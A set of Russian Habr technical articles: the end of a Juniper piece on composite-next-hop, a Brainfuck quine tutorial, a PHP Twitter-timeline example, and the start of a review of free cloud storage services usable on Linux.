Limd 0
LI 0
RNH_LE 0
VCFI 0
VCMF 0
```
Теперь включим chained-composite-next-hop для ldp и проверим результат:
```
bormoglotx@RZN-P2> show configuration routing-options
router-id 62.0.0.65;
autonomous-system 6262;
forwarding-table {
chained-composite-next-hop {
transit {
ldp;
}
}
```
В таблице маршрутизации все тоже самое, правда маршруты обновились, что видно по их времени жизни (это стоит учитывать при включении composite-next-hop на транзитных устройствах):
```
bormoglotx@RZN-P2> show route table mpls.0 | find ^2[0-9]+
299872 *[LDP/9] 00:00:57, metric 1
> to 10.0.0.5 via ae0.0, Pop
299872(S=0) *[LDP/9] 00:00:57, metric 1
> to 10.0.0.5 via ae0.0, Pop
299888 *[LDP/9] 00:00:57, metric 1
> to 10.0.0.5 via ae0.0, Swap 299792
299904 *[LDP/9] 00:00:57, metric 1
> to 10.0.0.7 via ae1.0, Pop
299904(S=0) *[LDP/9] 00:00:57, metric 1
> to 10.0.0.7 via ae1.0, Pop
299920 *[LDP/9] 00:00:57, metric 1
> to 10.0.0.5 via ae0.0, Swap 299824
```
А теперь проверим суммарное количество маршрутов в FIB:
```
VMX(RZN-P2 vty)# show nhdb summary
Total number of NH = 94
VMX(RZN-P2 vty)# show nhdb summary detail
Type Count
--------- ---------
Discard 12
Reject 11
Unicast 10 <<<<<<<<<<<<<<
Unilist 0
Indexed 0
Indirect 0
Hold 0
Resolve 2
Local 13
Recv 8
Multi-RT 0
Bcast 4
Mcast 7
Mgroup 1
mdiscard 7
Table 11
Deny 0
Aggreg. 2 <<<<<<<<<<<<<<
Crypto 0
Iflist 0
Sample 0
Flood 0
Service 0
Multirtc 0
Compst 6 <<<<<<<<<<<<<<
DmxResolv 0
DmxIFL 0
DmxtIFL 0
LITAP 0
Limd 0
LI 0
RNH_LE 0
VCFI 0
VCMF 0
```
Так как у нас было несколько транзитных меток, то для каждой указывался свой unicast next-hop и JunOS не сильно волновало, что у нас то всего два интерфейса, в которые мы можем отправить транзитный трафик и в итоге получилось что у нас 8 агрегационных next-hop-ов, что естественно повлекло за собой увеличение и unicast next-hop-ов. После включения composite-next-hop вместо того, чтобы для каждой метки генерировать собственный next-hop, composite-next-hop-ы уже ссылаются на имеющиеся два агрегационных next-hop-а.
Хотелось бы еще добавить, что при включении composite-next-hop для ingress LSP дернутся все BGP сессии, при включении composite-next-hop для transit LSP — сессии не дернутся (даже при включении BGP-LU), но все mpls метки будут сброшены и снова установлены в таблицу форвардинга.
В заключении хотелось бы наглядно сравнить indirect-next-hop и composite-next-hop в картинках.
В лаборатории было запущено три L3VPN, причем с PE3 префиксы (10.2.0.0/24 и 10.3.0.0/24) анонсируются с меткой per-prefix, а c PE1 — per-vrf:
и три L2CKT — два до PE1 и один до PE3:
К тому же, схема собрана на агрегационных интерфейсах, а до PE1 есть эквивалентные пути.
На данной иллюстрации представлено “дерево” next-hop-ов при использовании indirect-next-hop:
Для префиксов 10.0.0.0/24, 10.0.1.0/24, 10.0.2.0/24 — у нас одна серисная метки, так же и для перфиксов 20.0.0.0/24, 20.0.1.0/24, 20.0.2.0/24 — тоже одни сервисная метка — все они анонсируются с PE1. Как видите эти префиксы доступны через одни и те же indirect-next-hop-ы. А вот 10.2.0.0/24 и 10.3.0.0/24 имеют разные метки (метки для них генерируются per-prefix), а значит имеют разные indirect-next-hop-ы. Ну с L2CKT думаю все и так ясно — у всех разные сервисные метки и indirect-next-hop-ы. В итоге имеем 29 unicast next-hop-ов.
Теперь тоже самое, но с включенным composite-next-hop:
Тут next-hop-ов уже меньше. Префиксы, которые имеют одну и ту же сервисную метку доступны через одни и те же composite-next-hop-а. Как вы помните, сервисная метка указывается в иерархии composite-next-hop. Далее все composite-next-hop-ы ссылаются в indirect next-hop-ы. В схеме выше у нас два protocol-next-hop (PE1 и PE3) и два сервиса L3VPN и L2CKT. В итоге получается что у нас 4 indirect next-hop-а:
*L3VPN, PE1
L3VPN, PE2
L2CKT LDP, PE1
L2CKT LDP, PE2*
А так как теперь на уровне иерархии unicast next-hop у нас только транспортная метка, то теперь indirect next-hop-ы могу ссылаться на одни и те же unicast-next-hop-ы. В итоге количество unicast-next-hopов с 29 сократилось до 8.
Спасибо за внимание. | https://habr.com/ru/post/324268/ | null | ru | null |
# Квайн на Brainfuck, тьюториал
На Хабре уже есть множество статей о квайнах и технологиях их написания. Любителям квайнов может стать скучно — есть шаблон, следуешь ему, получаешь квайн. Мультиязыковой квайн, даже с участием эзотерических языков тоже написать несложно и об этом тоже есть по меньшей мере три статьи. Вот тут то и приходят на помощь квайны целиком написанные на эзотерических языках, возвращая заскучавшему программисту интерес.
Попробую рассказать о процессе написания квайнов на Brainfuck.
Процитирую свою статью [Мультиязыковые квайны](http://habrahabr.ru/post/188378/)
*Квайноподобную конструкцию (**здесь и далее речь только о языках, где можно разделить данные и код**) можно поделить на две части:
1) сегмент данных (важный момент, эта часть остаётся незаполненной до того момента, когда код будет завершён, после этого он кодируется).
2) сегмент кода
Сегмент данных — это некий шифр, который можно расшифровать двумя способами, в результате расшифровки первым способом получится строковое
представление собственно сегмента данных, при расшифровке вторым способом получится строковое представление сегмента кода. Объединив результаты этих расшифровок, мы получим строку, в которой содержится весь исходный код программы.*
Обратите внимание на выделенный текст. В брейнфаке нет переменных, есть только и исключительно исполняемый код. С другой стороны, есть лента, которой можно и нужно пользоваться для хранения информации.
Поэтому, для брейнфака схема квайна будет выглядеть так.
1) Код, который записывает на ленту данные
2) Код, который читает с ленты данные и выводит код из п.1
3) Код, который читает с ленты данные и выводит код из п.2 и п.3
Соответственно код из п.1 можно получить «шифрованием» кода из п.2 и п.3, когда он будет написан.
В каком виде записывать данные на ленту? Напрашивается запись в виде ascii-кодов символов.
Напишем функцию на Питоне, которая получает строку и возвращает программу на брейнфаке, записывающую эту строку на ленту.
```
def to_brainfuck(st): return '>'+''.join('+'*ord(c)+'>' for c in st)
```
```
>>> print to_brainfuck('ku')
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>
```
Обратите внимание на ">" в начале программы, пустая ячейка в начале ленты нужна на тот случай, если туда придётся возвращаться. Пустая ячейка это единственный способ остановить цикл в Брейнфаке. Если реализация брейнфака работает с бесконечной в обоих направлениях лентой, ">" в начале можно опустить.
Теперь вернёмся в начало ленты
```
<[<]
```
и распечатаем её содержимое:
```
>[.>]
```
Программа выведет на экран «ku»
Как написать код для п.1 и п.3 нашей схемы мы уже примерно знаем.
Теперь п.2, самая сложная часть.
Итак, нужно написать программу, которая используя содержимое ленты выведет ту строчку, которую вывела комманда print to\_brainfuck('ku'), фактически аналог питоновской функции to\_brainfuck на брейнфаке.
Печатать брейнфак умеет только те символы, которые есть на ленте. Комманда "." печатает содержимое ячейки на которой стоит каретка. Следовательно нам нужно записать символы "+" и ">" на ленту.
```
>+++++++++++++++++++++++++++++++++++++++++++>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
```
Обратите внимание на ">" в начале — оставляем пустую ячейку-маркер между тем, что уже есть на ленте и всякой служебной информацией, которую мы туда записываем. Так же обратите внимание на "." в конце. Помните ">" в самом начале программы? Вот тут её и выведем.
вернёмся на начало ленты
```
[<]<[<]>
```
теперь напишем вложенный цикл. внутренний цикл «отщипывает» по одному от содержимого очередной ячейки и при каждом таком отщипывание выводит "+", внешний цикл выводит ">" и переходит к следующей ячейке
```
[
[
[>]> доходим до того места на ленте, где лежит "+"
. печатаем "+"
<<[<]>- возвращаемся к обрабатываемому символу и отнимаем единицу
]
>[>]>> после того, как символ кончился, доходим до места, где лежит ">"
. печатаем ">"
[<]<[<]> возвращаемся к следующему символу
]
```
итак, мы можем написать программу А, заполняющую ленту и программу Б, бегущую по заполненной ленте и выводящую программу А.
Правда у программы Б есть один недостаток, после её деятельности на ленте ничего не остаётся, а нам содержимое ленты нужно для последующей печати.
Изменим программу Б так, чтобы при каждом уменьшении содержимого ячейки на одном конце ленты, она увеличивала содержимое ячейки на другом конце. Новый код ставлю под старым и выравниваю, чтобы были видны проделанные изменения:
```
[[[>]>. << [<]>-]>[>]>>. [<]<[<]>] было
[[[>]>. [>]<+[<]< [<]>-]>[>]>>. [>]+ [<]<[<]>] стало
```
После выполнения программы, содержимое ячеек с копией на 1 больше чем нужно. Не будем ничего переделывать, просто поправим и распечатаем
```
>>>[->]<<[<]>>>[.>]
```
этот код мне не очень нравится, кажется можно сильно короче, что-то вроде:
```
>>>[-.>]
```
только без выведения ascii-0 в конце, но сходу не придумывается.
Соединяем всё вместе
```
вносим символы "k" и "u" на ленту
>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>
вносим символы "+" и ">" на ленту, а так же выводим ">"
>+++++++++++++++++++++++++++++++++++++++++++>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
отмечаем начало области, в которую будем копировать символы
>+
возвращаемся на начало ленты
[<]<[<]>
описанный выше вложенный цикл, основная часть программы
[[[>]>.[>]<+[<]<[<]>-]>[>]>>.[>]+[<]<[<]>]
отнимаем по единице от каждого символа и выводим символы
>>>[->]<<[<]>>>[.>]
```
итак, у нас есть программа, которая забивает на ленту коды символов «k» и «u», затем распечатывает ту свою часть, которая их забивает, затем распечатывает сами символы. Т.е. в данный момент это уже почти квайн, программа распечатывает свою первую часть, а вместо второй она распечатывает «ku». А всё почему? Потому что именно строку «ku» мы скормили вначале питоновской функции to\_brainfuck. А должны были текст программы. Но его тогда ещё не было. Зато теперь есть!
Теперь самый приятный момент. Берём ту часть программы, которую мы написали руками и скармливаем функции to\_brainfuck. Объединяем две части и квайн готов:
```
>>> s=""">+++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+[<]<[<]>[[[>]>.[>]<+[<]<[<]>-]>[>]>>.[>]+[<]<[<]>]>>>[->]<<[<]>>>[.>]"""
>>> print to_brainfuck(s)+s
```
**Код квайна**
```
>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++++++++++++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+[<]<[<]>[[[>]>.[>]<+[<]<[<]>-]>[>]>>.[>]+[<]<[<]>]>>>[->]<<[<]>>>[.>]
```
Получившийся квайн не слишком компактен из за выбранного способа кодирования, на каждый символ «сегмента кода» приходится около 50 символов «сегмента данных». Можно значительно уменьшить сегмент данных если прибегнуть к другим способам кодирования, разумеется, в этом случае сильно увеличится та часть программы, которую нужно писать руками.
Да, ещё один забавный момент. Т.к. брейнфак игнорирует все символы, кроме тех восьми, которые являются его коммандами, можно **перед шифрованием** как-нибудь интересно отформатировать код и/или добавить туда какие-нибудь надписи. Квайн от этого не перестанет быть квайном.
```
>+++++++++++++++++++++++++++++++++++++++++++>
+ +
+ Quine for Habrahabr +
+ +
+ +
+++++++++++++++++++++++++++++++++++++++++++++
+ +
+ +
+ +
+ +
+ .
> +
[ <
] <
[ <
] >
[ [
[ >
] >
. [
> ]
< +
[ <
] <
[<]>-]>[>]>>.[>]+[<]<[<]>]>>>[->]<<[<]>>>[.>]
```
Внутри квадрата можно ещё чего-нибудь добавить. Полный текст квайна не привожу, т.к. такие игры с форматированием в разы увеличивают размеры «сегмента данных» и квайн становится совсем уж огромным. Спасибо за внимание.
Кто-нибудь до конца дочитал? :) **Апдейт:** ничего себе! кому-то даже нравится! Спасибо!
Похоже, мне удалось написать статью, которая может претендовать на звание самого бесполезного тьюториала Хабра (и возможно не только Хабра)! | https://habr.com/ru/post/193764/ | null | ru | null |
# PHP + Twitter
[Twitter](http://twitter.com) сейчас бурно развивается и на то были причины, есть в нем хорошие функции, которые можно использовать и в своих проектах.
На Хабре есть фишка связанная с ним, если в профиле ввести свой Twit-аккаунт, то последнее сообщение будет стоять у вас в статусе — мелочь, а приятно, не нужно делать одно и тоже дважды.
Второй пример, который стал причиной моего углубления в этот вопрос, — это проект, мы его еще не запустили, но как всегда сделали заглушку с формой для сбора адресов. Так вот, чтобы она не выглядела уныло и люди могли следить за тем, что происходит с проектом, я создал аккаунт на твиттере и транслирую сообщения на этот сайт в удобном мне виде. Человек может заходить на сайт и смотреть «что нового», а может и воспользоваться тви, а мне нужно будет вводить текст всего единожды. Тем более люди легко смогут задать вопрос, а я быстро о нем узнаю.
В техническом исполнении все оказалось не сложно.
Для начала подключаем класс [twitter.class.php](http://twitter.slawcup.com/twitter.class.phps). В нем есть набор стандартных функций:
— создание твита,
— чтение своей ленты, друзей или какого-то конкретного юзера,
— список «фоловингов» и «фоловерсов»,
— сообщения,
— еще что-то.
Расмотрим, как же прочитать свои последние статусы:
> `require\_once("twitter.class.php");
>
> $t = new twitter();
>
> $t->username='username'; // логин и
>
> $t->password='pass'; // пароль нужны не для всех функций
>
>
>
> $res = $t->userTimeline(); // Метод возвращает объект класса SimpleXMLElement.
>
> if($res===false){
>
> echo "ERROR
>
> ---
>
> ";
>
> echo "
> ```
> "
> ```
> ;
>
> print\_r($t->responseInfo);
>
> echo "";
>
> }else{
>
> foreach($res->status as $status){
>
> echo $status->text .'';
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Чтобы узнать какие данные хранятся в массиве возвращаемого класса, можно вывести их все, а можно в подключаемом классе посмотреть с каких .xml страничек парсится инфа и изучить её. | https://habr.com/ru/post/50216/ | null | ru | null |
# Linux и бесплатные облачные хранилища, семь лет спустя
В 2015 году я писал [небольшой обзор](https://habr.com/ru/post/266293/) облачных хранилищ, которые давали максимальный бесплатный объём и при этом была возможность их использовать в линуксе, примонтировав в папку. Набрёл на свой пост и решил посмотреть, как сказалось время на рассмотренных вариантах.
Потому что семь (ну ладно, шесть с половиной) лет — всё же солидный срок по IT'шным меркам, особенно для бесплатных сервисов.
Я смотрел только на состояние сервисов, новые регистрации и т.п. Возможность монтирования я проверял только в том случае, если там что-то стандартное — webdav, rclone. Если какие-то свои инструменты, то не проверял.
#### MediaFire
*[
MediaFire](http://mediafire.com) — при регистрации дают 10 гигабайт, можно поднять до 50 гигабайт разными «квестами».*
Жив, здоров. Новому пользователю по прежнему даёт 10 гигабайт с возможностью расширения до 49 приводом друзей (по гигабайту за друга) плюс по мелочи за привязку соцсетей.
Мой старый аккаунт ещё жив, хотя я им не пользуюсь практически.
На счёт работы под линуксом — [mediafire-fuse](https://github.com/MediaFire/mediafire-fuse) не обновлялся с 2017 года, rclone не поддерживается.
#### hubic.com
*[
hubic.com](http://hubic.com) — при регистрации дают 25 гигабайт, можно получить еще 5, если прийти по реферралу и 25 гигабайт набрать реферралами (по 5 гигабайт за каждого зарегистрировавшегося) — итого 55 гигабайт.*
Сам сервис жив, но регистрация новых клиентов закрыта. Старым клиентам обещают бессрочно предоставлять хостинг на старых же условиях, так что мой аккаунт жив.
Родной софт под линукс последний раз обновлялся в 2015 году, но есть поддержка в rclone.
**Update 2022.10.31**: hubic всё, бессрочности им хватило на полгода. Запускают с ноября новый сервис, там обещают 20 гигабайт бесплатно.
#### mega.co.nz
*[
mega.co.nz](http://mega.co.nz) — сразу дают 50 гигабайт, увеличивать — только за деньги. Для бесплатных пользователей есть ограничение на 10 гигабайт трафика в полчаса.*
Оно теперь [mega.io](https://mega.io/), хотя отзывается и на mega.nz
Новому пользователю дают 20 гигабайт вместо старых 50, но добавили [систему достижений](https://help.mega.io/plans-storage/achievements/free-space). Правда, бонусы там не бессрочные, а сгорают через год. Но, как я понял, можно каждый год приглашать «друзей» и получать за каждое приглашение 5 гигабайт ещё на год. Сколько друзей можно пригласить — я не знаю, но лимит нигде не прописан.
Старым пользователям оставили старые лимиты.
Лимитов на закачку для бесплатных аккаунтов больше не заявлено, есть лимит на скачивание, сбрасываемый каждые шесть часов. Размер лимита непонятен, правда. Официальных цифр не нашел, интернеты говорят, что пять гигабайт. Кто-то пишет, что лимит динамический и зависит от нагрузки на сервера.
Официальный софт под линукс есть как [графический синхронизатор](https://mega.nz/desktop) (с интеграцией в некоторые файловые менеджеры), так и [инструментарий для работы из командной строки](https://github.com/meganz/MEGAcmd). У [megafuse](https://github.com/matteoserva/MegaFuse) последние обновления были много лет назад.
Поддержка в rclone имеется, но есть оговорки на счёт того, что при активной отсылке команд аккаунт могут блокировать за «heavy use». Для обхода рекомендуют не синхронизацией пользоваться, а монтировать аккаунт в папку.
#### cubby.com
*[
cubby.com](http://cubby.com) — изначально дают 5 гигабайт, можно поднять до 25 реферралами (по гигабайту за штуку, требуется установка клиента).*
Умерло. Вопреки обыкновениям (logmein же) предупредили за полтора месяца до закрытия сервиса.
#### box.com
*[
box.com](http://box.com) — 10 гигабайт, бесплатно увеличивать не дают. Но у некоторых могли остаться 50 гигабайт со времён box.net (у меня остались). Есть ограничение размера файла для бесплатного пользователя — 250 мегабайт.*
Жив, мои 50 гигабайт тоже живы. Но ограничение размера файла в 250 мегабайт никуда не делось.
Так же отменили официальную поддержку webdav. Саму функцию не отключили и можно продолжать пользоваться, но со всеми проблемами саппорт будет посылать.
Поддержка в rclone имеется, с некоторыми оговорками.
#### copy.com
*[
copy.com](http://copy.com) — 15 гигабайт сразу + 25 гигабайт реферралами (5\*5, требуют установки клиента) — итого 40 гигабайт. Если зарегистрироваться по [реферралу](https://copy.com?r=IORcsZ), то сразу при регистрации дают 5 гигабайт (но не знаю, считают ли их в общую кучу или это отдельно добавляется, как у hubic).*
Умерло, причём совсем — по этому адресу какой-то совершенно левый сайт. Предупреждать о смерти начали где-то месяца за три.
#### 4shared
*[
4shared](http://4shared.com) — бесплатно даётся 15 гигабайт, увеличить нельзя. Аккаунт живёт полгода с момента последнего посещения, но есть напоминание о том, что срок действия заканчивается. Максимальный размер файла — 2 гигабайта. Имеется официальный WebDAV, работает нормально.*
Жив, политика удаления аккаунтов не изменилась, есть лимит на трафик — 3ГБ в день и 30ГБ в месяц. webdav официально остался.
#### Яндекс.Диск
*[
Яндекс.Диск](http://disk.yandex.ru) — изначально даётся 10 гигабайт, до 20 можно поднять реферралам (по 500 мегабайт, требуется установка клиента). Иногда бывают временные акции, которые дают пару-тройку гигабайт на год-два.*
По прежнему дают 10 гигабайт, но, насколько понял, всю систему реферралов прикрыли.
Webdav и rclone некоторое время назад отключали (а rclone вообще банили), сейчас вроде включили. Но с какими-то ограничениями. Говорят, что по webdav есть пауза на загрузку после каждого мегабайта. В линуксе у меня webdav нормально только на чтение завёлся, при попытке записи подвесил всю работу с файлами, пришлось davfs убивать. А rclone вообще подмонтировать диск не смог. В windows я при этом rclone'ом с теми же настройками нормально подключился, но вот запись очень небыстрая. В кэш тестовые файлы закинулись сразу, а в облако дошли часов через десять.
Так что не знаю, насколько вообще стабильна работа будет.
#### CloudMe
*[
CloudMe](https://www.cloudme.com/) — 3 гигабайта, реферралами увеличивается до 19 гигабайт по 500 мегабайт с каждого зарегистрировавшегося (и 500 самому зарегистрировавшемуся, достаточно только подтвердить почтовый ящик).*
Жив, но за время неиспользования сгорели все реферральные гигабайты, оставив только базовые 3,5 гигабайта (3+0,5 за регистрацию по реферральной ссылке). Попробовал пригласить друга — полгига не добавилось ни мне, ни приглашенному. Хотя утверждалось, что должны после подтверждения почты добавить.
webdav по прежнему официально поддерживается.
#### OneDrive
*[
